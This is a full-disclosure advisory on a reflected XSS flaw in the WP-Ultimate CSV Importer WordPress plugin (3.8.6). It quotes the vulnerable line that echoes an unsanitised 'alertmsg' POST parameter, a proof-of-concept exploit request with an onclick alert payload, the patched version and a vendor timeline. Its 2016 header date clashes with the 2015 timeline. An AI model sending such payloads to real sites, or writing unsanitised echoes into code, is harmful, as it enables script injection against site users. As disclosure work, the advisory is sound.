WP-Ultimate CSV Importer XSS Vulnerability

## FULL DISCLOSURE

#Product : WP-Ultimate CSV Importer
#Exploit Author : Rahul Pratap Singh
#Version : 3.8.6
#Home page Link : https://wordpress.org/plugins/wp-ultimate-csv-importer
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 27/Jan/2016

XSS Vulnerability:

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Description:
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“alertmsg” parameter is not sanitized that leads to reflected XSS.

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Vulnerable Code:
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File Name: /wp-ultimate-csv-importer/index.php

Found at line:256
echo __($_POST[‘alertmsg’],’wp-ultimate-csv-importer’);

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Exploit:
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POST /wp-admin/admin-ajax.php

action=trans_alert_str&alertmsg=<input+type%3Dtext+onclick%3Dalert(%2FXSS%2F)>

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POC:
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wp-ultimate-csv-importerxsspoc

Fix:
Update to 3.8.8

Vulnerability Disclosure Timeline:
→ January 14, 2015  – Bug discovered, initial report to Vendor
→ January 14, 2015  – Vendor acknowledged and scheduled a fix
→ January 18, 2015  – Reported to wordpress
→ January 19, 2015  – WordPress Response, plugin taken down
→ January 26, 2015  – Vendor Deployed a Patch

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#                    CTG SECURITY SOLUTIONS                          #
#                www.ctgsecuritysolutions.com                        #
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Pub Ref:
https://wordpress.org/plugins/wp-ultimate-csv-importer/changelog/

[+] Disclaimer
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provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.